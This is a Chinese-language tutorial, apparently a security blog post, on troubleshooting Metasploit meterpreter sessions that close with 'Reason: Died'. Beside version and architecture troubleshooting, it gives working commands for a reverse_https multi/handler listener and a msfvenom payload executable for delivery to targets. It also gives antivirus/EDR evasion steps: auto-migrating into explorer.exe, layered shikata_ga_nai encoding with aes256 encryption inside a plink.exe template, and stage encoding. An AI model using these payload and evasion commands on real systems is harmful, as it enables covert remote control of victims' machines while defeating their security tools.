前言
本文将分析常见的meterpreter session终止的原因,并提供相应解决方案。
使用Metasploit Framework时,你可能时常遇到meterpreter session终止的情况,你呆呆地望着控制台的错误信息提示“Meterpreter session 1 closed. Reason: Died”
本篇文章,我们将探究发生这些错误的原因,并提供相应解决方法。
原因一:Metasploit版本不兼容
Meterpreter会话终止的一个常见原因是,使用一个版本的Metasploit(例如v5)生成payload,但是却使用另一个版本的Metasploit(例如v6)来接收Meterpreter连接。
由于不同版本的Metasploit彼此不完全兼容,因此无法使用。 使用不兼容的Metasploit版本会引发各种错误,包括下列错误:
[] Started reverse TCP handler on 192.168.24.5:8443
[] 192.168.1.2 - Meterpreter session 1 closed. Reason: Died
[*] Meterpreter session 1 opened (192.168.24.5:8443 -> 192.168.1.2:49257) at 2020-12-09 08:24:55 -0400
解决方法
针对这种情况,解决方法非常简单,只需确保在两端始终使用相同版本的Metasploit。
例如,如果你正在使用MSFv6生成payload,请确保也使用MSFv6接收连接(或连接到目标)。
原因二:payload不匹配
meterpreter session终止的另一个常见原因是在使用exploit/multi/handler模块时使用了错误的(不匹配)payload。
exploit/multi/handler
是一个通用的payload处理程序,用于处理来自独立payloads或exploits的连接,通常使用msfvenom手动生成。
为了实现所需功能,通常要求指定的payload在两端都必须精确匹配,此处很容易犯错。
例如,我们可能在msfvenom
中指定使用windows/meterpreter/reverse_https
模块payload,而在msfconsole
中,却错误地选择了windows/meterpreter/reverse_tcp
模块payload。
这可能会导致多种错误,包括以下几点:
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.204.3:8443
[*] Sending stage (201283 bytes) to 192.168.1.100
[*] Meterpreter session 2 opened (192.168.204.3:8443 -> 192.168.1.100) at 2020-10-15 14:31:01 -0500
[*] Sending stage (201283 bytes) to 192.168.1.100
[*] - Meterpreter session 2 closed. Reason: Died
[*] Meterpreter session 3 opened (192.168.204.3:8443 -> 192.168.1.100) at 2020-10-15 14:31:02 -0500
[*] Sending stage (201283 bytes) to 192.168.1.100
[*] Meterpreter session 4 opened (192.168.204.3:8443 -> 192.168.1.100) at 2020-10-15 14:31:02 -0500
[*] - Meterpreter session 3 closed. Reason: Died
[*] - Meterpreter session 4 closed. Reason: Died
[*] Sending stage (201283 bytes) to 192.168.1.100
[*] - Meterpreter session 5 closed. Reason: Died
[*] Meterpreter session 5 opened (192.168.204.3:8443 -> 192.168.1.100) at 2020-10-15 14:31:06 -0500
[*] Sending stage (201283 bytes) to 192.168.1.100
[*] - Meterpreter session 6 closed. Reason: Died
[*] Meterpreter session 6 opened (192.168.204.3:8443 -> 192.168.1.100) at 2020-10-15 14:31:07 -0500
[*] Sending stage (201283 bytes) to 192.168.1.100
[*] Meterpreter session 7 opened (192.168.204.3:8443 -> 192.168.1.100) at 2020-10-15 14:31:07 -0500
[*] - Meterpreter session 7 closed. Reason: Died
[*] Sending stage (201283 bytes) to 192.168.1.100
[*] Meterpreter session 8 opened (192.168.204.3:8443 -> 192.168.1.100) at 2020-10-15 14:31:12 -0500
[*] Sending stage (201283 bytes) to 192.168.1.100
[*] Meterpreter session 9 opened (192.168.204.3:8443 -> 192.168.1.100) at 2020-10-15 14:31:12 -0500
解决方法
如前所述,我们必须确保在msfvenom
和msfconsole
的两端都使用相同的payload。
下面以windows/x64/meterpreter/reverse_https
模块payload为示例,演示如何正确设置multi handler。
(1)设置multi handler listener
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_https
msf6 exploit(multi/handler) > set LHOST 10.11.0.5
msf6 exploit(multi/handler) > set LPORT 8443
msf6 exploit(multi/handler) > run
(2)生成独立的meterpreter payload
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.11.0.5 LPORT=8443 -f exe -o runme.exe
现在,一旦将runme.exe可执行文件投递到目标上并运行,我们就会收到meterpreter session,过程中不存在任何问题:
原因三:架构混淆(32位/64位)
在使用Metasploit时,在选择处理器体系结构时犯错误,将它们混淆在一起。
如果我们犯了这样的错误,则可能导致以下错误:
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.204.2:8443
[*] Sending stage (206403 bytes) to 192.168.100.1
[*] Meterpreter session 4 opened (192.168.204.2:8443 -> 192.168.100.1:50146) at 2020-12-09 13:07:30 +0400
[*] 192.168.100.1 - Meterpreter session 4 closed. Reason: Died
msfconsole没有响应,我们必须通过^ C(Control + C)按键手动中断会话:
^C[-] Exploit failed [user-interrupt]: Interrupt
[-] run: Interrupted
msf6 exploit(multi/handler) >
解决方法
确保不要在msfvenom和msfconsole中混用了处理器体系结构。 两端只能使用32位或64位payloads。
32位、64位payloads示例:
被AV/EDR所斩杀
Meterpreter session 1 closed. Reason: Died
错误的另一个常见原因是,某些情况下meterpreter被目标机器上运行的AV(杀毒软件)/EDR(终端检测响应)检测到了。
在这种情况下,meterpreter进程将会被杀死,从而导致以下结果:
[*] Started reverse TCP handler on 192.168.204.2:8443
[*] Sending stage (985320 bytes) to 192.168.100.1
[*] Meterpreter session 1 opened (192.168.204.2:8443 -> 192.168.100.1:39854) at 2020-12-30 10:33:14 +0400
meterpreter >
[*] 192.168.100.1 - Meterpreter session 1 closed. Reason: Died
请注意,在stage投递之后、session成功建立时,meterpreter会话仍会终止。
这会发生在会话期间的任何时刻。
解决方法1:迁移到其他进程
我们可以采取这样一个技巧:尽快将meterpreter进程迁移到另一个良性进程(例如explorer.exe 或是svchost.exe),以此躲避AV查杀。
需要注意的是,进程迁移仅在Windows目标上有效,因为UNIX系统不具有执行这些任务的功能(系统API)。是的,我说的正是CreateRemoteThread、WriteProcessMemory和其他允许进行进程注入的Windows API。
Metasploit框架使我们可以在会话建立后,使用以下高级选项之一实现meterpreter进程的自动迁移:
- InitialAutoRunScript
- AutoRunScript
以下是如何将Meterpreter自动迁移到explorer.exe进程的示例:
msf6 exploit(..) > set AutoRunScript "migrate -n explorer.exe"
msf6 exploit(..) > run
解决方法2:混淆混淆混淆,重要的事情说三遍
混淆显然是一个非常广泛的话题,可以说有无限的方法可以逃避AV检测。
从AV的角度来看,使用以下技巧还可以使meterpreter更难被发现。
建议1:Payload encoding (msfvenom)
使用msfvenom生成payload时,我们可以使用各种编码器甚至加密算法来混淆最终的投递程序。
这是一个使用shikata_ga_nai编码器进行10次迭代来编码的payload,并且还使用aes256算法来加密内部shellcode的示例:
msfvenom -p windows/meterpreter/reverse_https LHOST=10.11.0.5 LPORT=4443 -f exe -e x86/shikata_ga_nai -i 10 --encrypt aes256 -x /usr/share/windows-binaries/plink.exe -o runme.exe
通过以下命令,可以查看其他编码和加密选项:
msfvenom --list encoders
msfvenom --list encrypt
建议2:Stage encoding (msfconsole)
打开meterpreter会话时,当metermeter stage被发送到目标时,传输的网络流量中有一些特定的、易于识别的字节。
尝试在msfconsole中使用EnableStageEncoding
高级选项对stage进行编码:
msf6 exploit(..) > set EnableStageEncoding true
msf6 exploit(..) > run
这可能会有助于规避某些AV,以防meterpreter会话被杀死。
查看msfconsole中的其他选项:
msf6 exploit(..) > show advanced
msf6 exploit(..) > set StageEncoder [TAB] ..
故障排除技巧
这里有一些技巧,可以帮助你解决Metasploit中的问题,不仅是针对与meterpreter会话终止有关问题,而且面向其他相关问题。
Increase logging
msfconsole中有一个全局LogLevel选项,用于控制打印日志的详细程度,可以设置1到5之间的数值:
msf6 exploit(..) > setg LogLevel 5
检查Metasploit日志
发生错误后,检查Metasploit日志文件,了解一下发生了什么:
cat ~/.msf4/logs/framework.log
快速诊断信息
当发生错误(例如meterpreter 会话终止)时,可以通过在msfconsole中运行debug命令来快速获取诊断信息:
[*] 192.168.100.1 - Meterpreter session 1 closed. Reason: Died
msf6 exploit(..) > debug
此举会打印出各种可能有用的信息,包括Metasploit日志文件本身的相关片段。
Metasploit wiki pages
查看以下资源,以调试终止的meterpreter会话:
https://github.com/rapid7/metasploit-framework/wiki/Debugging-Dead-Meterpreter-Sessions
总结
向Metasploit框架报告issue之前:
- 确保目标和msfconsole两端都使用相同的payload和体系结构(32位/64位)
- 检查是否使用与接收meterpreter相同版本的Metasploit来生成payload
另外,为避免杀毒软件检测到meterpreter,导致meterpreter会话终止:
- 仅选择使用加密通信信道的payload,例如:
- meterpreter/reverse_winhttps
- meterpreter/reverse_https
- meterpreter/reverse_tcp_rc4
- meterpreter/bind_tcp_rc4
- 配置meterpreter进程自动迁移到另一个(良性)进程
- 使用可用的payload编码、加密和混淆选项
发表评论
您还未登录,请先登录。
登录